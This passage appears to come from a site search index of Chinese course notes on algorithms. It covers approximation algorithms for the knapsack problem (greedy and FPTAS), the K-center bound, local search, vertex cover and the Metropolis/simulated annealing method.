3\u3002\u6211\u4eec\u7684\u8d2a\u5fc3\u7b56\u7565\u662f\u8ba9\u6bcf\u5355\u4f4d\u91cd\u91cf\u7684\u4ef7\u503c\u6700\u5927\u5316\uff0c\u56e0\u6b64\u8d2a\u5fc3\u7b97\u6cd5\u7684\u9009\u62e9\u7ed3\u679c\u662f\u9009\u62e9\u7b2c\u4e00\u4e2a\u7269\u54c1\uff0c\u4f46\u5b9e\u9645\u4e0a\u6700\u4f18\u89e3\u663e\u7136\u662f\u9009\u62e9\u7b2c\u4e8c\u4e2a\u7269\u54c1\uff0c\u8fd9\u6837\u80cc\u5305\u7684\u4ef7\u503c\u4e3a 2\uff0c\u800c\u8d2a\u5fc3\u7b97\u6cd5\u7684\u89e3\u4e3a 1\u3002\u56e0\u6b64\u8d2a\u5fc3\u7b97\u6cd5\u5e76\u4e0d\u662f\u6700\u4f18\u7684\u3002</p> <p>\u4e3a\u4e86\u5f97\u5230\u8fd1\u4f3c\u6bd4\uff0c\u6211\u4eec\u9700\u8981\u8fdb\u4e00\u6b65\u6539\u8fdb\u6211\u4eec\u7684\u8d2a\u5fc3\u7b97\u6cd5\uff1a\u6211\u4eec\u6709\u4e24\u4e2a\u8d2a\u5fc3\u7b56\u7565\uff0c\u5176\u4e00\u662f\u6839\u636e\u8fd9\u91cc\u7684\u5355\u4f4d\u91cd\u91cf\u7684\u4ef7\u503c\uff08profit density\uff09\uff0c\u5176\u4e8c\u662f\u76f4\u63a5\u8d2a\u5fc3\u9009\u62e9\u6700\u5927\u4ef7\u503c\u7684\u7269\u54c1\uff0c\u6211\u4eec\u8fd0\u884c\u4e24\u4e2a\u7b97\u6cd5\u9009\u62e9\u6700\u4f18\u89e3\uff0c\u6211\u4eec\u53ef\u4ee5\u8bc1\u660e\uff0c\u8fd9\u6837\u7ed3\u5408\u540e\u7684\u8fd1\u4f3c\u6bd4\u4e3a 2</p> <p>\u8bbe</p> <ul> <li>\\(P_{frac}\\) \u4e3a\u5206\u6570\u80cc\u5305\u95ee\u9898\u7684\u6700\u4f18\u89e3\uff1b</li> <li>\\(P_{OPT}\\) \u4e3a0-1\u80cc\u5305\u95ee\u9898\u7684\u6700\u4f18\u89e3\uff1b</li> <li>\\(P_{greedy}\\) \u4e3a\u8d2a\u5fc3\u7b97\u6cd5\u7684\u89e3\uff1b</li> <li>\\(p_{max}\\) \u4e3a\u88c5\u5f97\u4e0b\u7684\u7269\u54c1\u4e2d\u4ef7\u503c\u6700\u5927\u7684\u7269\u54c1\u7684\u4ef7\u503c\uff1b</li> </ul> <p>\u90a3\u4e48\u6709</p> \\[     P_{frac} \\geqslant P_{OPT} \\geqslant P_{greedy} \\geqslant p_{max} \\] <p>\u6240\u4ee5</p> \\[     \\dfrac{P_{OPT}}{P_{greedy}} \\leqslant \\dfrac{P_{frac}}{P_{greedy}} \\leqslant \\dfrac{P_{greedy}+p_{max}}{P_{greedy}} \\leqslant 2 \\] <p>\u5176\u4e2d\u7684\\(P_{frac} \\leqslant P_{greedy}+p_{max}\\)\u662f\u56e0\u4e3a\u6309\u7167\u8d2a\u5fc3\u7b56\u7565\uff0c\u6211\u4eec\u9009\u62e9\u4e86\u6700\u5927\u7684\u7269\u54c1\uff0c\u5728\u5373\u5c06\u6ee1\u7684\u65f6\u5019\uff0c\\(P_{frac}\\)\u5728\\(P_{greedy}\\)\u7684\u57fa\u7840\u4e0a\u5c06\\(p_{max}\\)\u7684\u622a\u53d6\u4e86\u4e00\u90e8\u5206\u88c5\u8fdb\u53bb\u4e86\uff1b</p> <p>Summary</p> <p>\u5982\u679c\u5df2\u77e5\u6700\u4f18\u89e3\u4e2d\u4ef7\u503c\u6700\u5927\u7684\u524dk\u4e2a\uff0c\u90a3\u4e48\u53ef\u4ee5\u8bbe\u8ba1\u51fa\u8fd1\u4f3c\u6bd4\u4e3a\\(\\dfrac{k+1}{k}\\)\u7684\u7b97\u6cd5</p>"},{"location":"NOTE/ADS/wk10/#0-1fptas","title":"0-1\u80cc\u5305\u7684FPTAS\u7b97\u6cd5","text":"<p>\u73b0\u5728\u6211\u4eec\u8ba8\u8bba\u4e00\u4e2a\u66f4\u7f8e\u597d\u7684\u7b97\u6cd5\uff0c\u5373\u4e00\u4e2a\u53ef\u4ee5\u65e0\u9650\u8fd1\u4f3c\u7684\u7b97\u6cd5\u3002\u5229\u7528\u52a8\u6001\u89c4\u5212\u4e00\u8bb2\u7684\u7b97\u6cd5\u6211\u4eec\u77e5\u9053 0-1\u80cc\u5305\u95ee\u9898\u662f\u6709\u4f2a\u591a\u9879\u5f0f\u7b97\u6cd5\u7684\uff0c\u5373\u5176\u590d\u6742\u5ea6\u662f \\(O(nC)\\) \u7684\uff0c\u5176\u4e2d \\(n\\) \u662f\u7269\u54c1\u7684\u6570\u91cf\uff0c\\(C\\) \u662f\u80cc\u5305\u7684\u5bb9\u91cf\u3002\u4f46\u6211\u4eec\u53ef\u4ee5\u6362\u4e2a\u89d2\u5ea6\u8fdb\u884c\u52a8\u6001\u89c4\u5212\uff0c\u6211\u4eec\u7684\u6570\u7ec4\u7b2c\u4e8c\u4e2a\u7ef4\u5ea6\u4e0d\u518d\u662f\u80cc\u5305\u7684\u5bb9\u91cf\uff0c\u800c\u662f\u4ef7\u503c\uff0c\u5373\u6211\u4eec\u539f\u5148\u7684\u6570\u7ec4\u662f <code>A[i][c]</code>\u8868\u8fbe\u7684\u662f\u524d <code>i</code> \u4e2a\u7269\u54c1\u653e\u5165\u5bb9\u91cf\u4e3a <code>c</code> \u7684\u80cc\u5305\u7684\u6700\u5927\u4ef7\u503c\uff0c\u73b0\u5728\u6211\u4eec\u7684\u6570\u7ec4\u662f <code>A[i][v]</code> \u8868\u8fbe\u7684\u662f\u524d <code>i</code> \u4e2a\u7269\u54c1\u653e\u5165\u4ef7\u503c\u4e3a <code>v</code> \u7684\u80cc\u5305\u7684\u6700\u5c0f\u91cd\u91cf\u3002\u8f6c\u79fb\u65b9\u7a0b\u4e3a\uff1a</p> <p>Note</p> <p>Let \\( W_{i,p} \\) be the minimum weight of a collection from \\(\\{1, \\ldots, i\\}\\) with total profit being exactly \\( p \\).</p> <ol> <li>Take \\( i \\): </li> </ol> \\[    W_{i,p} = w_i + W_{i-1,p - p_i} \\] <ol> <li>Skip \\( i \\): </li> </ol> \\[    W_{i,p} = W_{i-1,p} \\] \\[ W_{i,p} =  \\begin{cases}  \\infty &amp; \\text{if } i = 0 \\\\  W_{i-1,p} &amp; \\text{if } p_i &gt; p \\\\  \\min \\{ W_{i-1,p}, w_i + W_{i-1,p - p_i} \\} &amp; \\text{otherwise}  \\end{cases} \\] <p>\u663e\u7136\uff0c\u8fd9\u4e00\u52a8\u6001\u89c4\u5212\u7684\u590d\u6742\u5ea6\u662f \\(O(nV)\\) \u7684\uff0c\u5176\u4e2d \\(V\\) \u662f\u6240\u6709\u7269\u54c1\u7684\u4ef7\u503c\u4e4b\u548c\u3002\u6211\u4eec\u505a\u4e2a\u7b80\u5355\u7684\u53d8\u6362\uff0c\u8bbe \\(vmax\\) \u662f\u6240\u6709\u7269\u54c1\u7684\u4ef7\u503c\u7684\u6700\u5927\u503c\uff0c\u90a3\u4e48\u663e\u7136\u6709 \\(V \\leqslant nvmax\\)\u56e0\u6b64\u6211\u4eec\u7684\u590d\u6742\u5ea6\u662f \\(O(n^2 vmax)\\) \u7684\u3002</p> <p>\u5982\u679c\u53d1\u73b0 \\(vmax\\) \u7684\u5927\u5c0f\u662f \\(n\\) \u7684\u591a\u9879\u5f0f\u7ea7\u522b\u7684\uff0c\u90a3\u4e48\u6211\u4eec\u5c06\u5f97\u5230\u4e00\u4e2a\u591a\u9879\u5f0f\u65f6\u95f4\u7684\u7b97\u6cd5\u3002\u7136\u800c\u5e76\u975e\u6240\u6709\u5b9e\u4f8b\u90fd\u80fd\u6ee1\u8db3\u8fd9\u4e00\u6761\u4ef6\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u5bf9\u8f93\u5165\u7684\u4ef7\u503c\u505a\u4e00\u4e9b\u6280\u672f\u6027\u7684\u5904\u7406\uff0c\u5373\u5bf9\u8f93\u5165\u7684\u6240\u6709\u4ef7\u503c\u505a\u540c\u6bd4\u4f8b\u7684\u7f29\u5c0f\uff0c\u4f7f\u5f97 \\(vmax\\) \u80fd\u7f29\u5c0f\u5230 \\(n\\) \u7684\u591a\u9879\u5f0f \u7ea7\u522b</p> <p>Key-point</p> <p>\u7ed9\u5b9a\u60f3\u8981\u7684\u6bd4\u4f8b\\(\\varepsilon\\),\u53d6\\(b=\\dfrac{\\varepsilon v_{max}}{n}\\) \u5c06\u8f93\u5165\u7684\u5168\u4f53\u4ef7\u503c\u540c\u65f6\u7f29\u653e\u4e00\u4e2a\u6bd4\u4f8b\\(b\\),\u4f7f\u5f97\u6700\u5927\u4ef7\u503c\u4e3a\\(n\\)\u7684\u591a\u9879\u5f0f\u7ea7\u522b\uff0c\u505a\u5411\u4e0a(\u6216\u8005\u5411\u4e0b)\u53d6\u6574\uff0c\u7136\u540e\u4f7f\u7528\u52a8\u6001\u89c4\u5212\u505a\u6cd5\uff0c\u5f97\u5230\u6700\u4f18\u89e3\\(v\\);\u6700\u540e\u518d\u5c06\u7ed3\u679c\u653e\u5927\u56de\u6765\uff0c\u6211\u4eec\u76f8\u4fe1\u653e\u5927\u56de\u6765\u7684\u4ef7\u503c\u548c\u539f\u4ef7\u503c\u662f\u63a5\u8fd1\u7684\uff0c\u5373\\(bv\\)\u662f\u4e00\u4e2a\u8fd1\u4f3c\u89e3\u3002</p> <p>\u53ef\u4ee5\u8bc1\u660e\u4e0a\u8ff0\u7b97\u6cd5\u662f 0-1 \u80cc\u5305\u7684\u4e00\u4e2aFPTAS\u7b97\u6cd5</p> <p>\u9996\u5148\u65f6\u95f4\u590d\u6742\u5ea6\u662f\u663e\u7136\u7684\uff0c\u6211\u4eec\u7f29\u5c0f\u4ef7\u503c\u540e\u7684\u7684\u52a8\u6001\u89c4\u5212\u7b97\u6cd5\u662f </p> \\[     b=\\dfrac{\\varepsilon v_{max}}{n} \\] \\[     O(n^2 \\cdot \\dfrac{v_{max}}{b})=O(n^2 \\cdot \\dfrac{n}{\\varepsilon})=O(\\dfrac{n^3}{\\varepsilon}) \\] <p>\u6ee1\u8db3\u591a\u9879\u5f0f\u65f6\u95f4\u7684\u8981\u6c42\uff1b</p> <p>\u6211\u4eec\u7528\u591a\u9879\u5f0f\u7b97\u6cd5\u89e3\u51b3\u4e86\\(v_i'\\)\u4ef7\u503c\u4e0b\u7684\u95ee\u9898\uff1a</p> <p>\u6211\u4eec\u8fd8\u9700\u8981\u5173\u6ce8\u7ecf\u8fc7\u7f29\u653e\u518d\u653e\u5927\u4e4b\u540e\uff0c\u539f\u672c\u4ef7\u503c\u7684\u53d8\u5316\u662f\u600e\u4e48\u6837\u7684\u5373 \\(v_i' = \\lceil v_i / b \\rceil b\\) \u548c \\(v_i\\) \u662f\u63a5\u8fd1\u7684\u3002\u4e8b\u5b9e\u4e0a\u56e0\u4e3a\u5728\u5411\u4e0a\u53d6\u6574\u65f6\u6700\u591a\u53ea\u4f1a\u52a0\u4e0a 1\uff0c\u56e0\u6b64\u6211\u4eec\u6709\uff1a</p> \\[ v_i \\leqslant v_i' \\leqslant v_i + b. \\] <p>\u8bbe\u5bf9\u4e8e \\(v_1, \\ldots, v_n\\) \u800c\u8a00\u7684\u6700\u4f18\u7269\u54c1\u96c6\u5408\u4e3a \\(S^*\\)\uff0c\u800c\u5bf9\u4e8e \\(v_1', \\ldots, v_n'\\) \u800c\u8a00\u7684\u6700\u4f18\u7269\u54c1\u96c6\u5408\u4e3a \\(S\\)\uff0c\u90a3\u4e48\u6211\u4eec\u6709\uff1a</p> \\[ \\sum_{i \\in S} v_i' \\geqslant \\sum_{i \\in S^*} v_i'. \\] <p>\u8fd9\u662f\u56e0\u4e3a \\(S\\) \u662f \\(v_1', \\ldots, v_n'\\) \u7684\u6700\u4f18\u89e3\uff0c\u800c \\(S^*\\) \u662f\u4e00\u4e2a\u53ef\u884c\u89e3\u3002\u7136\u540e\u7ed3\u5408\u4e0a\u8ff0\u542b\u5165\u7684\u4e0d\u7b49\u5f0f\u6211\u4eec\u6709\u5982\u4e0b\u7b49\u5f0f\u94fe\uff1a</p> \\[ \\sum_{i \\in S^*} v_i \\leqslant \\sum_{i \\in S^*} v_i' \\leqslant \\sum_{i \\in S} (v_i + b) \\leqslant \\sum_{i \\in S} v_i + nb = \\sum_{i \\in S} v_i + \\varepsilon v_{\\max}  \\] <p>\u6bd4\u8f83\u9996\u5c3e\uff0c\u53ea\u8981\u80fd\u4f30\u8ba1\u51fa \\(v_{\\max}\\) \u548c \\(\\sum_{i \\in S} v_i\\) \u7684\u5173\u7cfb\uff0c\u6211\u4eec\u5c31\u80fd\u5f97\u5230\u8fd1\u4f3c\u5316\u7684\u4e0a\u754c\u3002\u663e\u7136$v_{max} \\leqslant \\sum_{i \\in S^*} v_i $</p> \\[ (1 -  \\varepsilon) \\sum_{i \\in S^*} v_i = (1 -  \\varepsilon) OPT \\leqslant  \\sum_{i \\in S} v_i\u3002 \\] <p>\u56e0\u6b64\u6211\u4eec\u7684\u8fd1\u4f3c\u5316\u6ee1\u8db3 FPTAS \u7684\u8981\u6c42\u3002</p>"},{"location":"NOTE/ADS/wk10/#k-center","title":"K-Center\u95ee\u9898","text":"<p>Greedy-KCenter\u95ee\u9898\u7684\u7684\u89e3\u4e0d\u5927\u4e8e\u6700\u4f18\u89e3\u7684\u4e24\u500d\uff0c\u5373</p> \\[     A(I) \\leqslant 2 \\cdot OPT(I) \\] <p>\u8bc1\u660e\uff1a\u5982\u679c\u8be5\u7b97\u6cd5\u7684K\u4e2a\u4e2d\u5fc3\u521a\u597d\u5728\u6700\u4f18\u89e3\u7684\u5706\u91cc\u9762\uff0c\u8bc1\u6bd5\uff1b\u5982\u679c\u4e0d\u5728\uff0c\u90a3\u4e48\u5176\u81f3\u5c11\u6709\u4e24\u4e2a\u5728\u540c\u4e00\u4e2a\u6700\u4f18\u89e3\u7684\u5706\u91cc\u9762\uff0c\u7531\u4e8e\u6bcf\u6b21\u9009\u7684\u90fd\u662f\u6700\u8fdc\u7684\uff0c\u6240\u4ee5\u8fd9\u4e24\u4e2a\u70b9(u,v)\u7684\u8ddd\u79bb\u5927\u4e8e\u5176\u89e3\u3002</p> \\[     2OPT(I) \\geqslant d(u,v)  \\geqslant A(I) \\] <p>\u4e5f\u8bc1\u6bd5\u3002</p>"},{"location":"NOTE/ADS/wk11/","title":"\u5c40\u90e8\u641c\u7d22","text":"<p> \u7ea6 3466 \u4e2a\u5b57  39 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 12 \u5206\u949f</p> <p>\u6614\u5b5f\u6bcd\uff0c\u62e9\u90bb\u5904</p> <p>\u5f15\u5165</p> <p>\u5982\u679c\u6211\u4eec\u4f4d\u4e8e\u4e00\u5ea7\u5c71\u4e0a\uff0c\u6240\u62e5\u6709\u7684\u4fe1\u606f\u53ea\u6709\u6211\u4eec\u5468\u56f4\u7684\u5730\u5f62\uff0c\u73b0\u5728\u6211\u4eec\u8981\u4e0b\u5c71\uff0c\u7406\u6240\u5e94\u5f53\u7684\uff0c\u6211\u4eec\u4f1a\u9009\u62e9\u5f53\u524d\u6240\u80fd\u770b\u5230\u7684\u6700\u4f4e\u7684\u4f4d\u7f6e\u524d\u8fdb\uff0c\u5f53\u7136\uff0c\u8fd9\u6837\u7684\u9009\u62e9\u5e76\u4e0d\u4e00\u5b9a\u80fd\u591f\u4fdd\u8bc1\u6211\u4eec\u6700\u7ec8\u80fd\u591f\u5230\u8fbe\u5c71\u811a\u4e0b\uff0c\u6709\u53ef\u80fd\u53ea\u662f\u5230\u8fbe\u4e00\u4e2a\u5c71\u8c37\uff1b\u4f46\u662f\u6709\u65f6\u5019\u8fd9\u79cd\u65b9\u6cd5\u662f\u6709\u6548\u7684\u3002</p> <p>\u5c40\u90e8\u641c\u7d22\uff08Local Search\uff09\u662f\u4e00\u79cd\u5e38\u7528\u7684\u4f18\u5316\u65b9\u6cd5\uff0c\u4e3b\u8981\u7528\u4e8e\u6c42\u89e3\u5927\u89c4\u6a21\u7684\u4f18\u5316\u95ee\u9898\uff0c\u5c24\u5176\u662f\u90a3\u4e9b\u89e3\u7a7a\u95f4\u8f83\u5927\u4e14\u4e0d\u5bb9\u6613\u901a\u8fc7\u5168\u5c40\u641c\u7d22\u627e\u5230\u6700\u4f18\u89e3\u7684\u95ee\u9898\u3002\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\u4ece\u4e00\u4e2a\u521d\u59cb\u89e3\u51fa\u53d1\uff0c\u5728\u5f53\u524d\u89e3\u7684\u90bb\u57df\u4e2d\u4e0d\u65ad\u8fdb\u884c\u63a2\u7d22\uff0c\u4ee5\u5bfb\u627e\u66f4\u597d\u7684\u89e3\uff0c\u76f4\u5230\u6ee1\u8db3\u67d0\u4e9b\u505c\u6b62\u6761\u4ef6\u3002</p> <p>\u5177\u4f53\u6765\u8bf4\uff0c\u5c40\u90e8\u641c\u7d22\u7684\u57fa\u672c\u6d41\u7a0b\u5305\u62ec\u4ee5\u4e0b\u51e0\u4e2a\u6b65\u9aa4\uff1a</p> <ol> <li>\u521d\u59cb\u5316\uff1a\u9009\u62e9\u4e00\u4e2a\u521d\u59cb\u89e3\u3002</li> <li>\u90bb\u57df\u641c\u7d22\uff1a\u901a\u8fc7\u67d0\u79cd\u65b9\u5f0f\u751f\u6210\u5f53\u524d\u89e3\u7684\u90bb\u57df\u89e3\uff0c\u5373\u5728\u5f53\u524d\u89e3\u7684\u57fa\u7840\u4e0a\u8fdb\u884c\u5fae\u5c0f\u7684\u6539\u53d8\uff0c\u5f97\u5230\u4e00\u7ec4\u76f8\u4f3c\u7684\u89e3\u3002</li> <li>\u9009\u62e9\u6700\u4f18\u90bb\u57df\u89e3\uff1a\u4ece\u90bb\u57df\u89e3\u4e2d\u9009\u62e9\u4e00\u4e2a\u201c\u66f4\u4f18\u201d\u7684\u89e3\uff0c\u4f5c\u4e3a\u65b0\u7684\u5f53\u524d\u89e3\u3002</li> <li>\u8fed\u4ee3\uff1a\u91cd\u590d\u90bb\u57df\u641c\u7d22\u548c\u9009\u62e9\u6700\u4f18\u90bb\u57df\u89e3\u7684\u6b65\u9aa4\uff0c\u76f4\u5230\u6ee1\u8db3\u505c\u6b62\u6761\u4ef6\uff08\u5982\u8fbe\u5230\u6700\u5927\u8fed\u4ee3\u6b21\u6570\u3001\u89e3\u7684\u6539\u8fdb\u8fbe\u5230\u4e00\u5b9a\u7a0b\u5ea6\u7b49\uff09\u3002</li> </ol> <p>\u5c40\u90e8\u641c\u7d22\u901a\u5e38\u7528\u4e8e\u6c42\u89e3 \u7ec4\u5408\u4f18\u5316\u95ee\u9898 \uff08\u5982\u65c5\u884c\u5546\u95ee\u9898\u3001\u56fe\u7740\u8272\u95ee\u9898\u7b49\uff09\uff0c\u5c24\u5176\u5728\u641c\u7d22\u7a7a\u95f4\u5e9e\u5927\u7684\u60c5\u51b5\u4e0b\uff0c\u5b83\u901a\u8fc7\u805a\u7126\u5728\u8f83\u5c0f\u7684\u5c40\u90e8\u533a\u57df\u5185\u8fdb\u884c\u641c\u7d22\uff0c\u80fd\u591f\u5728\u8f83\u77ed\u7684\u65f6\u95f4\u5185\u627e\u5230\u4e00\u4e2a\u8f83\u597d\u7684\u89e3\uff0c\u5c3d\u7ba1\u8be5\u89e3\u4e0d\u4e00\u5b9a\u662f\u5168\u5c40\u6700\u4f18\u3002</p> <p>\u5c40\u90e8\u641c\u7d22\u7684\u4e00\u4e9b\u5e38\u89c1\u53d8\u79cd\u5305\u62ec\uff1a</p> <ul> <li>\u722c\u5c71\u7b97\u6cd5\uff08Hill Climbing\uff09\uff1a\u4e00\u79cd\u7b80\u5355\u7684\u5c40\u90e8\u641c\u7d22\u65b9\u6cd5\uff0c\u901a\u8fc7\u9009\u62e9\u90bb\u57df\u4e2d\u6700\u597d\u7684\u89e3\u9010\u6b65\u4f18\u5316\uff0c\u76f4\u5230\u6ca1\u6709\u66f4\u597d\u7684\u89e3\u4e3a\u6b62\u3002</li> <li>\u6a21\u62df\u9000\u706b\uff08Simulated Annealing\uff09\uff1a\u5728\u722c\u5c71\u7b97\u6cd5\u7684\u57fa\u7840\u4e0a\u5f15\u5165\u4e86\u968f\u673a\u6027\uff0c\u5141\u8bb8\u63a5\u53d7\u8f83\u5dee\u7684\u89e3\uff0c\u4ece\u800c\u907f\u514d\u9677\u5165\u5c40\u90e8\u6700\u4f18\u89e3\u3002</li> <li>\u7981\u5fcc\u641c\u7d22\uff08Tabu Search\uff09\uff1a\u901a\u8fc7\u7ef4\u62a4\u4e00\u4e2a\u7981\u5fcc\u8868\u6765\u8bb0\u5f55\u5df2\u7ecf\u8bbf\u95ee\u8fc7\u7684\u89e3\uff0c\u9632\u6b62\u7b97\u6cd5\u53cd\u590d\u8bbf\u95ee\u5df2\u63a2\u7d22\u8fc7\u7684\u533a\u57df\uff0c\u4ece\u800c\u63d0\u9ad8\u641c\u7d22\u6548\u7387\u3002</li> </ul> <p>\u5c40\u90e8\u641c\u7d22\u7684\u4f18\u70b9\u662f\u8ba1\u7b97\u6548\u7387\u9ad8\u3001\u5b9e\u73b0\u7b80\u5355\uff0c\u4f46\u5176\u7f3a\u70b9\u662f\u5bb9\u6613\u9677\u5165\u5c40\u90e8\u6700\u4f18\u89e3(\u5230\u8fbe\u4e86\u5c71\u8c37\u800c\u4e0d\u662f\u5c71\u5e95)\u3002</p>"},{"location":"NOTE/ADS/wk11/#_2","title":"\u5c40\u90e8\u641c\u7d22\u7684\u6846\u67b6","text":"<p>\u5c40\u90e8\u6027(Locality)</p> <ul> <li> <p>\u9700\u8981\u5728neighborhood\u4e2d\u8fdb\u884c\u641c\u7d22\uff0c\u5373\u5728\u53ef\u884c\u96c6\u4e2d\u7684\u90bb\u57df\u8fdb\u884c\u641c\u7d22</p> </li> <li> <p>\u9700\u8981\u4fdd\u8bc1\u5c40\u90e8\u6700\u4f18\u662f \u81ea\u8eab\u90bb\u57df \u7684\u5168\u5c40\u6700\u4f18</p> </li> </ul> <p>\u641c\u7d22</p> <ul> <li> <p>\u4ece\u4e00\u4e2a\u53ef\u884c\u89e3\u5f00\u59cb\uff0c\u6bcf\u4e00\u6b21\u8fed\u4ee3\u90fd\u4f1a\u5728\u5f53\u524d\u89e3\u7684\u90bb\u57df\u4e2d\u9009\u62e9\u4e00\u4e2a\u66f4\u597d\u7684\u89e3</p> </li> <li> <p>\u8fbe\u5230\u5c40\u90e8\u6700\u4f18\u5f53\u4e14\u4ec5\u5f53\u90bb\u57df\u5185\u6ca1\u6709\u66f4\u597d\u7684\u89e3</p> </li> </ul>"},{"location":"NOTE/ADS/wk11/#_3","title":"\u4f2a\u4ee3\u7801","text":"<p>S \\(\\sim\\) S' : S' is a neighboring solution of S, whree S' can be obtained by a slight modification of S.</p> <p>\u5373\u5bf9S\u8fdb\u884c\u4e00\u6b21\u5c0f\u7684\u6539\u53d8\uff0c\u5f97\u5230S'\u3002</p> <p>N(S): neighborhood of S \u2013 the set { S': S \\(\\sim\\) S' }.</p> <pre><code>SolutionType Gradient_descent()\n{   Start from a feasible solution S \uf0ce FS ;\n    MinCost = cost(S);\n    while (1) {\n        S\u2019 = Search( N(S) ); /* find the best S\u2019 in N(S) */\n        CurrentCost = cost(S\u2019);\n        if ( CurrentCost &lt; MinCost ) {\n            MinCost = CurrentCost;    S = S\u2019;\n        }\n        else  break;\n    }\n    return S;\n}\n</code></pre>"},{"location":"NOTE/ADS/wk11/#_4","title":"\u70b9\u96c6\u8986\u76d6\u95ee\u9898","text":"<p>Vertex Cover Problem</p> <p>\u7ed9\u5b9a\u4e00\u4e2a\u65e0\u5411\u56fe\\(G=(V,E)\\)\uff0c\u4ee5\u53ca\u4e00\u4e2a\u6b63\u6574\u6570\\(K\\)\uff0c\u662f\u5426\u5b58\u5728V\u7684\u4e00\u4e2a\u5b50\u96c6\\(C\\)\uff0c\u4f7f\u5f97\\(C\\)\u4e2d\u70b9\u7684\u4e2a\u6570\u4e0d\u8d85\u8fc7\\(K\\)\uff0c\u4e14\u5bf9\u4e8e\u6bcf\u4e00\u6761\u8fb9\\((u,v)\\) \\(\\in\\) \\(E\\)\uff0c\u81f3\u5c11\u6709\u4e00\u4e2a\u7aef\u70b9\u5728\\(C\\)\u4e2d\u3002</p> <p>Vertex cover problem (optimization)</p> <p>\u5728\u70b9\u96c6\u8986\u76d6\u95ee\u9898\u7684\u57fa\u7840\u4e0a\uff0c\u627e\u5230\u6700\u5c0f\u7684\u70b9\u96c6\u8986\u76d6\u3002</p> <p>\u5728\u8fd9\u4e00\u95ee\u9898\u4e2d</p> <ul> <li>Feasible solution(\\(\\mathcal{FS}\\)): \u6240\u6709\u70b9\u96c6\u8986\u76d6\u7684\u96c6\u5408</li> <li>Cost(S) = |S|</li> <li>S \\(\\sim\\) S' </li> </ul> <p>\u5728\u70b9\u96c6\u8986\u76d6\u4e2d\uff0c\u6bcf\u4e00\u4e2a\u70b9\u96c6\u8986\u76d6S\u81f3\u591a\u6709|V|\u4e2a\u90bb\u5c45\uff0c\u5373N(S)\u7684\u5927\u5c0f\u662f\u6709\u9650\u7684\u3002</p> <ul> <li>search: Start from S = V; delete a node and check if S' is a vertex cover with a smaller cost.</li> </ul> <p>Example</p> <p></p> <p>Case0,\u662f\u6b63\u786e\u7684\uff0c\u4f9d\u6b21\u5220\u53bb\u6240\u6709\u70b9\uff0c\u6700\u540e\u5f97\u5230\u7684\u662f\u7a7a\u96c6\uff0c\u662f\u4e00\u4e2a\u70b9\u96c6\u8986\u76d6\u3002</p> <p>Case1,\u662f\u9519\u8bef\u7684\uff0c\u56e0\u4e3a\u5220\u9664\u4e86\u4e00\u4e2a\u70b9\u540e\uff0c\u6211\u4eec\u5c06\u6700\u4f18\u89e3\u5220\u53bb\u4e86\uff1b</p>"},{"location":"NOTE/ADS/wk11/#_5","title":"\u6539\u8fdb","text":"<p>\u5982\u679c\u6211\u4eec\u53ef\u4ee5\u5bb9\u5fcd\u6682\u65f6\u7684\u4ee3\u4ef7\u5347\u9ad8\uff0c\u6709\u53ef\u80fd\u4f1a\u9047\u5230\u4ee3\u4ef7\u964d\u4f4e\u66f4\u597d\u7684\u60c5\u51b5</p> <pre><code>SolutionType Metropolis()\n{   Define constants k and T;\n    Start from a feasible solution S in FS ;\n    MinCost = cost(S);\n    while (1) {\n        S\u2019 = Randomly chosen from N(S); //Adding is allowed\n        CurrentCost = cost(S\u2019);\n        if ( CurrentCost &lt; MinCost ) {\n            MinCost = CurrentCost;    S = S\u2019;\n        }\n        else {\n            With a probability, let S = S\u2019;\n            else  break;\n        }\n    }\n    return S;\n}\n</code></pre>"},{"location":"NOTE/ADS/wk11/#_6","title":"\u6a21\u62df\u9000\u706b","text":"<p>Info</p> <p>\u8fd9\u79cd\u6539\u8fdb\u7684\u65b9\u6cd5\u7531Metropolis\uff0cRosenbluth\uff0cRosenbluth\uff0cTeller\u548cTeller\u4e8e1953\u5e74\u63d0\u51fa\uff0c\u88ab\u79f0\u4e3aMetropolis\u7b97\u6cd5\u3002\u4ed6\u4eec\u5e0c\u671b\u5229\u7528\u7edf\u8ba1\u529b\u5b66\u4e2d\u7684\u539f\u7406\u6a21\u62df\u7269\u7406\u7cfb\u7edf\u7684\u884c\u4e3a\u3002\u5728\u7edf\u8ba1\u7269\u7406\u4e2d\u6709\u4e00\u4e2a\u5047\u8bbe\uff0c\u5f53\u4e00\u4e2a\u7cfb\u7edf\u7684\u80fd\u91cf\u4e3aE\u65f6\uff0c\u5b83\u51fa\u73b0\u7684\u6982\u7387\u4e3a\\(e^{\u2212E/kT}\\)\uff0c\u5176\u4e2d\\(T&gt;0\\)\u662f\u6e29\u5ea6\uff0c\\(k\\)\u662f\u73bb\u5c14\u5179\u66fc\u5e38\u6570\u3002\u8fd9\u4e2a\u5047\u8bbe\u88ab\u79f0\u4e3aBoltzmann\u5206\u5e03\u3002\u663e\u7136\u7684\uff0c\u5f53\\(T\\)\u56fa\u5b9a\u65f6\uff0c\u80fd\u91cf\u8d8a\u4f4e\u7684\u72b6\u6001\u51fa\u73b0\u7684\u6982\u7387\u8d8a\u5927\uff0c\u56e0\u6b64\u4e00\u4e2a\u7269\u7406\u7cfb\u7edf\u4e5f\u6709\u66f4\u5927\u7684\u6982\u7387\u5904\u4e8e\u80fd\u91cf\u4f4e\u7684\u72b6\u6001\u3002\u7136\u540e\u6211\u4eec\u8003\u8651\u6e29\u5ea6T\u7684\u5f71\u54cd\uff0c\u5f53\\(T\\)\u5f88\u5927\u65f6\uff0c\u6839\u636e\u6307\u6570\u51fd\u6570\u7684\u7279\u70b9\uff0c\u4e0d\u540c\u80fd\u91cf\u5bf9\u5e94\u7684\u6982\u7387\u5176\u5b9e\u5dee\u522b\u53ef\u80fd\u4e0d\u662f\u5f88\u5927\uff1b\u4f46\\(T\\)\u8f83\u4f4e\u7684\u65f6\u5019\uff0c\u4e0d\u540c\u7684\u80fd\u91cf\u5bf9\u5e94\u7684\u6982\u7387\u5dee\u522b\u5c31\u4f1a\u5f88\u5927\u3002</p> <p>\u57fa\u4e8e\u73bb\u5c14\u5179\u66fc\u5206\u5e03\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06Metropolis\u7b97\u6cd5\u63cf\u8ff0\u5982\u4e0b\uff1a</p> <ul> <li> <p>\u521d\u59cb\u5316\uff1a\u968f\u673a\u9009\u62e9\u4e00\u4e2a\u53ef\u884c\u89e3 \\(S\\)\uff0c\u8bbe \\(S\\) 